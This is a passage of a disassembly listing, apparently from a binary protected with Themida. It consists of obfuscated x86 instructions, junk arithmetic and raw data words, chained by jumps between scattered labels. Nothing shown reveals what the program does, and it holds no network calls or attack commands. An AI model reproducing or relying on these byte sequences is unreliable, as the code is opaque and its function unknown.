8BFFFECFh, 0C481241Ch dd 4, 4C481h, 58E90000h db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562A5B: ; CODE XREF: Themida_:00552FEBj pop edx pop ebp sub esi, eax jmp loc_56432C ; --------------------------------------------------------------------------- dd 241C8966h, 0FFCC6FE9h db 0FFh ; --------------------------------------------------------------------------- loc_562A6D: ; CODE XREF: Themida_:00562C76j push 0E32h mov [esp], esi pop eax push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 push dword ptr [esp] mov edi, [esp] jmp loc_55F66A ; --------------------------------------------------------------------------- dd 81D7F74Fh, 716075EFh, 0E34DE940h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562A9E: ; CODE XREF: Themida_:00557630j sub ecx, 1CD13993h or ecx, 462611C2h push esi mov esi, 1CC2378Fh jmp loc_55955B ; --------------------------------------------------------------------------- db 81h, 0F5h, 0CEh dd 29AFDC19h, 0E9C15DE9h, 53C18105h, 1F9E1E7h, 48759C8h dd 24248B24h, 24048B66h, 73AE9h, 4C18100h, 81000000h, 4C1h dd 240C8700h, 542C5Ch, 535404D8h, 5266C0B7h, 0CBE9B2B6h db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562AFB: ; CODE XREF: Themida_:0055FF2Ej jmp loc_54F816 ; --------------------------------------------------------------------------- dd 59E9E289h, 81FFFF7Dh, 3F58F6E9h, 0BD55585Ch, 4A7637CDh dd 0E360ED81h, 93E90C21h, 0FF00001Bh, 5A042474h, 5C24048Fh dd 0FECCE9E9h, 524CB9FFh, 0C981555Bh, 40C74C62h, 0D103E9C1h dd 0C001E9E9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562B42: ; CODE XREF: Themida_:00555325j mov ch, 9Ch shr ch, 8 add ch, 7 and ch, 0D0h dec ch sub ch, 6 jmp loc_563AF7 ; --------------------------------------------------------------------------- db 81h dd 4CC110F6h, 0FFF00191h, 835E2434h, 0EC8304C4h, 24148904h dd 0A10131BAh, 0F752424Ch, 815A2414h, 0FFFFFFEAh, 8EAC1FFh dd 0C7A7C281h, 0D001687Ch, 8324148Bh, 0D4E904C4h, 0C0FFFF41h dd 0D3E905E2h, 8BFFFF21h, 0C483242Ch, 0EDCDE904h, 0D889FFFFh dd 5E68575Bh, 0E900006Eh, 0FFFF0941h, 2474FF56h, 48F5E04h dd 24248B24h, 0FED6EAE9h db 0FFh ; --------------------------------------------------------------------------- loc_562BC5: ; CODE XREF: Themida_:0055C586j pop esp xor edi, 0F6F10496h sub eax, 5D193316h jmp loc_557297 ; --------------------------------------------------------------------------- loc_562BD6: ; CODE XREF: Themida_:005636E3j push ebp mov ebp, 7D5F0963h sub ebp, 1A067D1Ah jmp loc_54FF94 ; --------------------------------------------------------------------------- db 58h dd 0FF280AE9h, 242489FFh, 4240481h, 0E9000000h, 194Ah dd 81242C29h, 41162404h, 815D6BFEh, 2B01FDEDh, 0E9EE0114h dd 0FFFEE1E3h, 0E9E38953h, 0FFFFDE8Ch, 15BD989h, 240C8BCBh dd 0FF6980E9h, 3C77FFFFh, 9E240481h, 0FF4FF704h, 48B2434h dd 4C48324h, 0FFF8BBE9h, 14E958FFh, 81FFFF92h, 4D09EBF5h dd 0D3C58176h, 8362EE27h, 0E58101C5h, 384963CAh, 2244ED81h dd 44813041h, 4DF60424h, 6C013FB7h, 0E9510424h, 0FFFF8D20h ; --------------------------------------------------------------------------- loc_562C74: ; CODE XREF: Themida_:0056004Fj push edi pop esi jmp loc_562A6D ; --------------------------------------------------------------------------- db 0E9h dd 0FFFECB96h, 0E904EC83h, 0FFFF078Dh ; --------------------------------------------------------------------------- loc_562C88: ; CODE XREF: Themida_:0055FDA1j pop eax jmp loc_56156C ; --------------------------------------------------------------------------- loc_562C8E: ; CODE XREF: Themida_:00552965j mov edi, ecx pop ecx sub edx, edi mov edi, [esp] add esp, 4 add eax, edx push dword ptr [esp] pop edx push esi push esp pop esi push ebp mov ebp, 4 add esi, ebp pop ebp jmp loc_54F8D8 ; --------------------------------------------------------------------------- db 58h dd 1E1F68h, 24348900h, 33E9E689h db 0CCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562CC3: ; CODE XREF: Themida_:00563040j pop esi pop dword ptr [esp] not esi xchg esi, [esp] jmp loc_559AA1 ; --------------------------------------------------------------------------- loc_562CD1: ; CODE XREF: Themida_:00552833j xchg ebp, [esp] pop esp push edi mov edi, 0F3CEC13Fh sub eax, 16D5AAFh add eax, edi jmp loc_54FAEF ; --------------------------------------------------------------------------- db 81h dd 818C0DC5h, 78F9059Dh, 0E80164CDh, 0CD78F92Dh, 0E287E964h dd 0C481FFFEh, 4, 543CED81h, 0C5017EAAh, 6494BF57h, 0E7C11762h dd 90F78104h, 815A7508h, 1D0859C7h, 0AEBE5624h, 0E9551108h dd 207Dh, 0BA241489h, 686C538Eh, 148BD521h, 4C48124h, 0F7000000h dd 9CCD81D5h, 687F8439h, 6BD0h, 50241C89h, 0FFF5DFE9h dd 0E9E089FFh, 0FFFF567Dh, 6BC168h, 243C8900h, 0FF86BAE9h dd 0E4E95FFFh, 8BFFFFECh, 4CE9240Ch, 8BFFFFC7h, 8BE92414h dd 50FFFF70h, 16E9h, 4C48300h, 31241433h, 14332414h, 3CD25C24h dd 7BE99C24h, 0B8FFFECAh, 175F4090h, 0FF840CE9h, 241C33FFh dd 33241C31h, 248B241Ch, 7E10E924h, 0B60FFFFFh, 4E67E9C0h dd 3489FFFFh, 7FDBBE24h, 0DBE95966h, 53FFFFA9h, 0FF0066E9h dd 0FA285BFFh, 5E68665Bh, 0C89660Ch, 8029B524h, 0EA28BCEAh dd 66BCC280h, 80C20059h, 0E6E929C2h, 81FFFF24h, 1435AAEDh dd 0E9E989E7h, 0FFFEFBD8h ; --------------------------------------------------------------------------- loc_562E00: ; CODE XREF: Themida_:00563A36j add dword ptr [esp], 4 mov edx, [esp] add esp, 4 push edi push 1CE01685h mov edi, [esp] jmp loc_560612 ; --------------------------------------------------------------------------- dd 24048F5Ch, 0FEF3A4E9h db 0FFh ; --------------------------------------------------------------------------- loc_562E21: ; CODE XREF: Themida_:00559FB3j sub esi, 0A184543h add esi, 0E9AA6DB4h push esi mov esi, esp jmp loc_55BCFF ; --------------------------------------------------------------------------- db 1, 0F1h, 5Eh dd 0FEF271E9h, 81E289FFh, 4C2h, 153EE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562E4A: ; CODE XREF: Themida_:0055A3FFj dec dh jmp loc_5521AB ; --------------------------------------------------------------------------- loc_562E51: ; CODE XREF: Themida_:0055802Bj xor ebx, 39B313A5h jmp loc_5643D3 ; --------------------------------------------------------------------------- dd 0E91604ACh, 1F34h, 8324348Bh, 0EC8304C4h, 241C8904h dd 0E9E08950h, 0FFFF7FD1h, 4246C81h, 328E6361h, 0F07FE95Bh dd 0B252FFFEh, 5AD128D5h, 0E93AC180h, 0FFFF566Eh, 5058E528h dd 0F5B25266h, 5A66D088h, 6658C520h, 28000068h, 2C8A242Ch dd 0E7895724h, 4C781h, 0C7830000h, 243C8702h, 0B2F5805Ch dd 0E959E828h, 0FFFF7E61h, 8245401h, 8246C81h, 5F4F475Fh dd 0FF736CE9h, 0ED815DFFh, 11CB6098h, 51BEBF57h, 4F476306h dd 54A7EF81h, 0E7C1154Fh, 3BC78105h, 47BC57ACh, 0F858E947h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562EFE: ; CODE XREF: Themida_:00558E73j mov ebx, 2F460908h mov ecx, 2F46092Ch jmp loc_55E446 ; --------------------------------------------------------------------------- db 0BBh, 4, 0 dd 0D9010000h, 83241C8Bh, 0A2E904C4h db 0F0h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_562F1F: ; CODE XREF: Themida_:00563D3Fj xchg ebx, [esp] pop esp mov [esp], ebx mov eax, [esp] push ecx mov ecx, esp push eax mov eax, 49825C7Eh jmp loc_55B191 ; --------------------------------------------------------------------------- db 5Fh dd 8B1C4721h, 0B8E92404h, 5BFFFEFBh, 0E924148Bh, 0FFFF8614h dd 81E38953h, 4C3h, 4BF5700h, 1000000h, 0CC95E9FBh, 0C781FFFEh dd 4, 4C781h, 3C870000h, 0C7815C24h, 735D6EA6h, 3886BD55h dd 0DDF76023h, 29A2BA52h, 62E928B0h, 29000010h, 0C5015FF8h dd 16AB6858h, 55E90000h, 66000020h, 58B551h, 5A5966E8h dd 240C8B66h, 0FECF3FE9h, 48F54FFh, 24048124h, 4, 0FF2757E9h dd 97E95AFFh, 83FFFFE4h, 148704C4h, 0D7FDE924h, 0A30FFFFFh dd 0E99C2404h, 0FFFEC83Eh, 8124348Bh, 4C4h, 0C1A9E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562FE6: ; CODE XREF: Themida_:005537D7j pop ebx xchg ebx, edi xchg edi, [esp] pop ebx jmp loc_55C2EA ; --------------------------------------------------------------------------- dw 8957h dd 0D741E9E7h, 0C681FFFFh, 4, 4EE81h, 34870000h, 14895C24h dd 98E95024h, 89FFFEE2h, 4C781E7h, 81000000h, 4C7h, 5A386800h dd 3C890000h, 2474FF24h, 48F5F04h, 0DFE95C24h db 0C7h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_563037: ; CODE XREF: Themida_:005560E4j shr edi, 5 push edi push esi push dword ptr [esp+4] jmp loc_562CC3 ; --------------------------------------------------------------------------- loc_563045: ; CODE XREF: Themida_:0055F624j mov esi, 0F3E2136h sub ebx, esi jmp loc_5626FA ; --------------------------------------------------------------------------- db 1, 0DAh, 5Bh dd 0FF5659E9h db 0FFh ; --------------------------------------------------------------------------- loc_563059: ; CODE XREF: Themida_:00559F28j mov dl, 85h mov al, 0BDh xor al, dl pop edx xor dh, al pop ax xor cl, dh jmp loc_551BCC ; --------------------------------------------------------------------------- loc_56306B: ; CODE XREF: Themida_:00561C7Bj xor edi, 16C9CD77h jmp loc_561843 ; --------------------------------------------------------------------------- dw 1C87h dd 0FF665C24h, 0E99C2404h, 0FFFEC792h, 0F781DFF7h, 0B980847Ch dd 0A9E95D57h, 81FFFF1Bh, 4EBh, 241C8700h, 241C895Ch, 42474FFh dd 5B2434FFh, 8F04C483h, 248B2404h, 0F1E95324h, 0B9FFFF11h dd 4F834842h, 68414949h, 129Dh, 0BE243489h, 5B7253FCh dd 44684E46h, 89000075h, 0BE56242Ch, 7ED7A0Bh, 0F75EF589h dd 0C1DDF7DDh, 0F75505EDh, 3E92414h, 0FFFF3Ch, 0E99C2404h dd 0FFFEC71Eh, 81E68956h, 4C6h, 4EE8100h, 0E9000000h, 1676h ; --------------------------------------------------------------------------- loc_56310C: ; CODE XREF: Themida_:0055AAAFj add ecx, ebp push dword ptr [esp] pop ebp push ebp push esp pop ebp add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] jmp loc_550524 ; --------------------------------------------------------------------------- loc_56313C: ; CODE XREF: Themida_:00559248j pop esi push ecx mov ecx, 0 jmp loc_55572B ; --------------------------------------------------------------------------- dd 0EF81DFF7h, 208C5983h, 0FF9A23E9h db 0FFh ; --------------------------------------------------------------------------- loc_563155: ; CODE XREF: Themida_:005506C8j pop ebp mov edi, [esp] jmp loc_55DBDD ; --------------------------------------------------------------------------- loc_56315E: ; CODE XREF: Themida_:00550A83j mov ebp, [esp] sub esp, 4 mov [esp], ebp mov ebp, esp add ebp, 4 jmp loc_55FD8D ; --------------------------------------------------------------------------- db 81h dd 0D1A66EAh, 81CA0138h, 0D1A66C2h, 45C28138h, 5951F45Bh dd 3F0DE950h, 7431FFFFh, 4BE90424h db 99h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56319B: ; CODE XREF: Themida_:00552DECj xor ebp, [esp] jmp loc_55841E ; --------------------------------------------------------------------------- aLHpl db ',$hpL',0 dw 8900h dd 8B542434h, 0C4812434h, 4, 4BF57h, 19E90000h, 68FFFF9Ah dd 4E3Bh, 0BA241489h, 78E2FCFh, 2FCBEA81h, 0D301078Eh dd 4EB815Ah, 87000000h, 895C241Ch, 74FF2414h, 1DE90424h dd 51FFFF38h, 3619D7B9h, 0F749497Eh, 0D9C981D1h, 811E1779h dd 834D70E1h, 0AEE9817Ah, 895862FFh, 6CE959C8h, 68FFFF4Bh dd 31B2h, 83243C89h, 8F5404ECh, 0A7E92404h, 83FFFF03h dd 0FF5004C0h, 58042474h, 0FEF050E9h db 0FFh ; --------------------------------------------------------------------------- loc_563235: ; CODE XREF: Themida_:005573F8j add esp, 4 mov [edi+20h], edx jmp loc_56219F ; --------------------------------------------------------------------------- db 81h dd 4C4h, 5DEF8900h, 0E924048Bh, 0FFFFFD9Eh, 0C281E289h dd 4, 0E904C283h, 0FFFF6F19h ; --------------------------------------------------------------------------- loc_563264: ; CODE XREF: Themida_:00553DE9j pop ebx sub ebp, 7C6F7133h pop ebx push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push 3CCDh mov [esp], edx jmp loc_561C5E ; --------------------------------------------------------------------------- loc_563283: ; CODE XREF: Themida_:0055ABC1j pop edx sub esp, 4 mov [esp], esi mov esi, esp push edi mov edi, 0DCF3B12h not edi or edi, 1B971968h sub edi, 0FBB7DDE9h jmp loc_5633B3 ; --------------------------------------------------------------------------- loc_5632A8: ; CODE XREF: Themida_:0055DFEFj push 54773D1Bh mov ecx, [esp] add esp, 4 jmp loc_561171 ; --------------------------------------------------------------------------- db 0BFh dd 4, 4247C01h, 0FF44FCE9h db 0FFh ; --------------------------------------------------------------------------- loc_5632C9: ; CODE XREF: Themida_:0055FF1Dj pop esi jmp loc_556C93 ; --------------------------------------------------------------------------- db 89h dd 4C681E6h, 83000000h, 348704EEh, 34895C24h, 705CBE24h dd 0BD55663Ch, 263C436Ah, 0E581D5F7h, 5B4D44DFh, 628FED81h dd 0ED81548Fh, 0C1123805h, 835DEE21h, 0C4E904ECh, 9FFFECDh dd 0EAC159CAh, 0C3CA8105h, 4A610D63h, 0FBF2EA81h, 0C381617Fh dd 61EF13A0h, 0EB81D301h, 61EF13A0h, 8324148Bh, 0EB8104C4h dd 4, 0CF7E9h, 25F38000h, 285BDA00h, 2434FFD0h, 4C4835Ah dd 0E952D828h, 0FFFEDD66h ; --------------------------------------------------------------------------- loc_563354: ; CODE XREF: Themida_:005643D5j pop ebx push ebx mov ebx, 4 add ebp, ebx pop ebx push 3797h mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push 49CAh mov [esp], ecx push edi mov edi, 562F3251h jmp loc_55AF85 ; --------------------------------------------------------------------------- dw 0E181h dd 35933BF0h, 0CD74C181h, 0CE01CFECh, 0FEF3ADE9h, 0D830ACFFh dd 0B3535051h, 5BD88861h, 0F658C588h, 0F6FD86DDh, 515266DFh dd 18E9FD88h db 83h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5633B3: ; CODE XREF: Themida_:005632A3j add esi, edi pop edi sub esi, 4 xchg esi, [esp] pop esp mov [esp], edi mov edi, esp push ecx mov ecx, 4 add edi, ecx pop ecx push esi jmp loc_55C5B5 ; --------------------------------------------------------------------------- dd 2CB1BA52h, 0D2F776F9h, 0FEE385E9h db 0FFh ; --------------------------------------------------------------------------- loc_5633E1: ; CODE XREF: Themida_:0055DE43j add edi, 4 sub edi, 4 push 62D5h mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp mov [esp], esi push 0EF3h jmp loc_55BDE7 ; --------------------------------------------------------------------------- db 8Bh dd 0EC812424h, 4, 0FF240C89h, 0E9042474h, 0FFFF917Dh, 0FEC3F1E9h dd 9C5166FFh, 0FEC3E9E9h, 2F9E68FFh, 9DE90000h, 56FFFFBCh dd 0E4023BBEh, 5EF23115h, 0FFCCE5E9h db 0FFh ; --------------------------------------------------------------------------- loc_563445: ; CODE XREF: Themida_:005508CFj sub esp, 4 jmp loc_5591F3 ; --------------------------------------------------------------------------- db 0FFh, 77h, 1Ch dd 411589Dh, 0BBE99C24h, 8FFFFEC3h, 9CE92404h, 81FFFF92h dd 0CD56C4C1h, 0BB91E963h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56346E: ; CODE XREF: Themida_:005579F9j add [esp+4], eax mov eax, [esp] add esp, 4 pop edx sub edx, 7F3B38B0h pop edi sub ebp, edx pop edx push ebp jmp loc_550A7F ; --------------------------------------------------------------------------- db 1, 0EFh, 81h dd 0E74450EFh, 8ABBE943h, 0E1C1FFFFh, 0B0BE5606h, 31810B59h dd 24348BF1h, 4C481h, 0B9510000h, 2785636Ch, 68E1F181h dd 0E98140C0h, 0EB4A87DDh, 8159CA89h, 2C52E5EAh, 81CA296Ah dd 2C52E5C2h, 2434FF6Ah, 4C48359h, 5A1C5709h, 0FF7077E9h dd 4C583FFh, 31242C33h, 72E9242Ch, 0BBFFFFDDh, 61845607h dd 8104EBC1h, 79FAF1EBh, 5BDE29CFh, 0F6814E46h, 620FA460h dd 0ECE9F709h, 58FFFEE8h, 0FFFF4AE9h db 0FFh ; --------------------------------------------------------------------------- loc_563511: ; CODE XREF: Themida_:0054FF95j sub ebp, 2B8665B4h xor ebx, ebp pop ebp jmp loc_561400 ; --------------------------------------------------------------------------- db 83h dd 0C8904ECh, 3B466824h, 81591C70h, 0B83527C9h, 0DFE9811Fh dd 55B21ECCh, 0EE89CD89h, 0E9242C8Bh, 0FFFFDCA1h, 4C781h dd 0EF830000h, 243C8704h, 2999E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563556: ; CODE XREF: Themida_:005506FDj pop ebx pop ecx push bx jmp loc_556968 ; --------------------------------------------------------------------------- db 68h dd 4, 0CCD4E95Dh, 3C8BFFFFh, 4C48324h, 0B73B632Dh, 1EE95F60h dd 66FFFF60h, 6622A02Dh, 6658C389h, 0E900DE68h, 0FFFFF4D8h ; --------------------------------------------------------------------------- loc_56358C: ; CODE XREF: Themida_:00554490j pop ebp jmp loc_55BF48 ; --------------------------------------------------------------------------- dw 3C8Bh dd 0DA3DE924h, 0C181FFFFh, 36C50482h, 0F04C181h, 0E95A108Ch dd 0FFFF5ECDh, 9D1C77FFh, 24041958h, 0C25CE99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5635BA: ; CODE XREF: Themida_:00556744j mov edx, [esp] push ebp jmp loc_557BE2 ; --------------------------------------------------------------------------- db 81h dd 0DA12EDF2h, 71E2816Ah, 81398567h, 234596C2h, 81DAF773h dd 966490EAh, 9BC2811Ah, 1963F0Bh, 21685AD6h, 8900001Eh dd 37B9240Ch, 8125255Eh, 0DAA1CBC1h, 0FFCE01DAh, 51592434h dd 0C181E189h, 4, 60BE68h, 243C8900h, 0B06851h, 66E937AFh dd 5EFFFEFFh, 6B1DCE81h, 0EEC17CFDh, 0ECE68102h, 813E666Ah dd 8AFFCDC6h, 0EA7EE9E6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563636: ; CODE XREF: Themida_:00550D0Cj push 33FDh mov [esp], eax mov eax, 24h sub eax, 18163665h add eax, edi push ebx push 18163665h jmp loc_55BA46 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 582434FFh, 4EC81h, 96E90000h, 84FFFED7h, 0A7E99CC8h dd 5BFFFEC1h, 8B24048Fh, 9BE92424h, 51FFFECFh, 0FF85D2E9h db 0FFh ; --------------------------------------------------------------------------- loc_563681: ; CODE XREF: Themida_:0055881Cj mov [esp], ecx jmp loc_560B0F ; --------------------------------------------------------------------------- loc_563689: ; CODE XREF: Themida_:0055A62Cj neg bl jmp loc_55CB4F ; --------------------------------------------------------------------------- dd 391B850h, 73BF4D0Fh, 81B2F0FCh, 0FC5987C7h, 8CBE960h dd 0C681FFFFh, 0F8E2430Ch, 0E95EF229h, 0FFFFF6B5h ; --------------------------------------------------------------------------- loc_5636B4: ; CODE XREF: Themida_:0055D662j add esp, 4 push ecx mov eax, [esp] jmp loc_558C81 ; --------------------------------------------------------------------------- dd 2C8BE889h, 4C48324h, 7582C681h, 89E91652h, 81FFFF35h dd 7E4E92E2h, 7800E915h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5636DE: ; CODE XREF: Themida_:00559C40j mov ebx, 41BD6503h jmp loc_562BD6 ; --------------------------------------------------------------------------- loc_5636E8: ; CODE XREF: Themida_:0056270Bj pop ecx pop ebx xor eax, [edi+24h] push ecx jmp loc_558E72 ; --------------------------------------------------------------------------- loc_5636F3: ; CODE XREF: Themida_:005601DEj push ebx jmp loc_550C44 ; --------------------------------------------------------------------------- loc_5636F9: ; CODE XREF: Themida_:0055601Ej push dword ptr [esp] pop ebx jmp loc_555FCC ; --------------------------------------------------------------------------- dw 1DBAh dd 2904E66Eh, 0C28158C2h, 6BF47C6h, 0EA81FA29h, 6BF47C6h dd 0E95AD789h, 0FFFF61C9h, 0DB242C81h, 5936AC0Ah, 0FF7CC6E9h dd 241C89FFh, 0FC88D788h, 0FF6FE0E9h, 4EC81FFh, 89000000h dd 4FBD242Ch, 81257051h, 7A2D7CEFh, 81EF2979h, 7A2D7CC7h dd 0EF815D79h, 121016Eh, 0BA52F729h, 121016Eh, 2709C781h dd 0D7015F45h, 2709EF81h, 0E95A5F45h, 0FFFF1AF5h, 0F6C2815Fh dd 56B8E919h, 8952D689h, 0E63CE9F2h, 5152FFFEh, 0B6B671B5h dd 80BDC680h, 0EE007FEEh, 0FF79D7E9h db 0FFh ; --------------------------------------------------------------------------- loc_56379D: ; CODE XREF: Themida_:005505C9j add edx, 1 xor [edi+24h], edx xor edx, [edi+24h] push eax mov eax, 24h push ebx jmp loc_556990 ; --------------------------------------------------------------------------- loc_5637B5: ; CODE XREF: Themida_:00562296j xor edx, 6ABE13C8h jmp loc_550DA8 ; --------------------------------------------------------------------------- dd 0B850D1F7h, 0DF12D705h, 0B5E9C131h db 0F2h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5637CF: ; CODE XREF: Themida_:00553CE3j push edi mov edi, 4 add edx, edi pop edi add edx, 4 xchg edx, [esp] jmp loc_54FD00 ; --------------------------------------------------------------------------- loc_5637E6: ; CODE XREF: Themida_:00560B29j add ecx, edi pop edi sub edx, ecx pop ecx add edx, esi jmp loc_556C85 ; --------------------------------------------------------------------------- db 83h dd 0C80004C4h, 0E9D9B551h, 0FFFF3919h, 0ACFD840Fh, 6855FFFFh dd 16ACh, 0B9240C89h, 0FEh, 0FEC087E9h, 2BBFFh, 0DD010000h dd 81241C8Bh, 4C4h, 242C3300h, 0E9242C31h, 0FFFECCE1h ; --------------------------------------------------------------------------- loc_563834: ; CODE XREF: Themida_:00561F10j mov ebp, ebx mov ebx, [esp] push ebp mov ebp, esp jmp loc_559D1E ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 68240C89h, 7D342FD3h, 53BE5659h, 52789553h, 0FF1633E9h dd 0BFC581FFh, 8124BA58h, 91010CEDh, 5DE98950h, 1DCAC381h dd 0CB0105F0h, 1DCAEB81h, 875905F0h, 665C241Ch, 81240C8Bh dd 4ECh, 0D8C7E900h, 0C481FFFEh, 4, 634F68h, 24048900h dd 0FFD10AE9h, 2C8B5CFFh, 0B5E95024h db 0D4h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5638A7: ; CODE XREF: Themida_:00559299j add bx, 7C8h add bx, 670Ch add bx, 34ECh sub bx, si sub bx, 34ECh push ebp mov bp, 4C0Ah shl bp, 3 inc bp jmp loc_558854 ; --------------------------------------------------------------------------- dw 0EF81h dd 0F0C7951h, 596E9h, 301DB100h, 0CB2858E1h, 0B5686659h dd 1489662Bh, 63B35324h, 0F687F380h, 0A64AE9DBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5638F6: ; CODE XREF: Themida_:0055BB1Bj push ebx mov ebx, 0C84720Ch sub esp, 4 mov [esp], esi jmp loc_554839 ; --------------------------------------------------------------------------- loc_563907: ; CODE XREF: Themida_:00560E09j pop eax pop edx xor [esp+4], ebx mov ebx, [esp] add esp, 4 jmp loc_5585B1 ; --------------------------------------------------------------------------- db 59h dd 815FF829h, 4ECh, 0EB4AE900h, 0C483FFFEh, 0C7E95304h dd 8BFFFF2Fh, 0C481242Ch, 4, 0FF6B89E9h db 0FFh ; --------------------------------------------------------------------------- loc_563941: ; CODE XREF: Themida_:00550975j sub eax, 3124F6D1h jmp loc_559D6C ; --------------------------------------------------------------------------- db 52h dd 7C701068h, 0EA815A64h, 1F91FFE1h, 55AD589h, 26F7510Bh dd 6E4B7705h, 2DE82954h, 546E4B77h, 0F7510B2Dh, 4B055D26h dd 1743373h, 734B2DD8h, 41687433h, 89000038h, 69BA2414h dd 81798200h, 544DC6EAh, 8C87E932h, 0E957FFFFh, 0FFFF5790h dd 562168h, 242C8900h, 4BDh, 0B3BD5500h, 12CA70Dh, 0EA015DEAh dd 0DB3EA81h, 2C8B2CA7h, 4C48324h, 0EFB68h, 241C8900h dd 0FFD68EE9h, 241C31FFh, 5C241C33h, 24048B66h, 22C268h dd 24148900h, 0A871E951h, 0BF57FFFFh, 7A986A12h, 0FF9FD9E9h dd 4DFEBEFFh, 0F321423Bh, 1569E95Eh, 505AFFFFh, 0FECB18E9h dd 2434FFFFh, 153CE9h db 0 ; --------------------------------------------------------------------------- loc_563A0D: ; CODE XREF: Themida_:005519E4j mov [esp], ecx push edx push 3490h jmp loc_561788 ; --------------------------------------------------------------------------- db 0F6h dd 0E99C241Ch, 0FFFF4EFCh ; --------------------------------------------------------------------------- loc_563A24: ; CODE XREF: Themida_:00556323j mov esp, [esp] or edx, eax jmp loc_556A15 ; --------------------------------------------------------------------------- loc_563A2E: ; CODE XREF: Themida_:0055698Bj pop eax xchg ecx, [esp] pop esp mov [esp], esp jmp loc_562E00 ; --------------------------------------------------------------------------- db 55h dd 0FED58EE9h db 0FFh ; --------------------------------------------------------------------------- loc_563A41: ; CODE XREF: Themida_:00563BEBj add [esp+4], eax pop eax jmp loc_555978 ; --------------------------------------------------------------------------- db 66h dd 8124048Bh, 4ECh, 24048900h, 0D1E9E089h, 89FFFF1Dh, 0E589242Ch dd 38D6BF57h, 0E7815D39h, 1708656Fh, 2042EF81h, 0FD011508h dd 0BEE9E95Fh, 0D029FFFFh, 4EC81h, 3C890000h, 0E84EE924h dd 0BE56FFFFh, 0DCD09Dh, 15EF201h, 0D6E95AD6h db 0C9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563A9F: ; CODE XREF: Themida_:00556EFBj add ebx, 6CB71B41h push ebp push eax push 4A7B62B4h jmp loc_554F22 ; --------------------------------------------------------------------------- loc_563AB1: ; CODE XREF: Themida_:00564912j pop ebp sub ebx, 7DB80F7Eh push edi push 40944C9Ch mov edi, [esp] add esp, 4 sub edi, 33C65460h push eax jmp loc_5578DB ; --------------------------------------------------------------------------- loc_563AD3: ; CODE XREF: Themida_:00551BA7j mov eax, esp add eax, 4 jmp loc_5640EA ; --------------------------------------------------------------------------- db 53h dd 0E92EB551h, 0FFFFDC91h, 3EEE814Eh, 17B55C1h, 43E95EF2h db 3Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563AF7: ; CODE XREF: Themida_:00562B52j or dh, ch jmp loc_558A81 ; --------------------------------------------------------------------------- aVIi@jrq db 'Vii@JRQ=',0Ah,0 dw 5114h dd 71243481h, 5A7E0553h, 5371F281h, 81597E05h, 7F14EBF2h dd 5AD60956h, 0E951D6F7h, 0FFFFF58Bh, 0A2F685Dh, 3C890000h dd 7CA5E924h, 1433FFFFh, 0D016E924h, 0EEC1FFFEh, 8EEC107h dd 4400EE81h, 3BE90000h, 89FFFFE4h, 4C381E3h, 0E9000000h dd 0FFFEF4BAh ; --------------------------------------------------------------------------- loc_563B60: ; CODE XREF: Themida_:00554913j mov [esp], ebp push ebx mov ebx, 64943234h sub ebx, 3D276E21h xor ebx, 5A5C696Dh shr ebx, 5 push ebp jmp loc_561EF2 ; --------------------------------------------------------------------------- dw 0C381h dd 4, 8704EB83h, 895C241Ch, 28BB241Ch, 0F767BD36h, 2EE381DBh dd 0C1359852h, 0C38107E3h, 7B5F4BBEh, 4FBAF381h, 0DA017B7Fh dd 51241C8Bh, 0C1815954h, 4, 4C181h, 0FF510000h, 59042474h dd 8B24048Fh, 0E9562424h, 0FFFFDAECh, 65E95966h db 0FBh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_563BD7: ; CODE XREF: Themida_:0055F946j mov edi, 588542DCh or edi, 735A5BD4h sub edi, 3427E772h add eax, edi pop edi jmp loc_563A41 ; --------------------------------------------------------------------------- loc_563BF0: ; CODE XREF: Themida_:00556377j shl edx, 5 xor edx, 7BBC1E6Dh xor edx, 0D6F9DB40h mov ecx, edx pop edx jmp loc_55B71F ; --------------------------------------------------------------------------- loc_563C07: ; CODE XREF: Themida_:00562A1Fj or esi, 437561A7h not esi jmp loc_55A7B0 ; --------------------------------------------------------------------------- aIchO db 'hO',0 dw 8900h dd 0BB532414h, 5D573A22h, 0FFCF17E9h, 241489FFh, 0FFB829E9h dd 8ECC0FFh, 88E9C4FEh, 81FFFF44h, 0CF46BAC3h, 5BD80140h dd 2199BE56h, 0F0295C9Bh, 0FFE9D1E9h, 240489FFh, 405E089h dd 83000000h, 48704C0h, 19E95C24h db 10h, 2 dup(0) ; --------------------------------------------------------------------------- loc_563C67: ; CODE XREF: Themida_:0055CCC9j sub esp, 4 mov [esp], edx mov edx, esp push esi mov esi, 71287E0Ch or esi, 50E7721Ah add esi, 0FFFFFFFFh xor esi, 71EF7E19h add edx, esi jmp loc_5600A7 ; --------------------------------------------------------------------------- dw 0C381h dd 6AB27DA6h, 35E9D301h, 0B8FFFF91h, 2EE25FD8h, 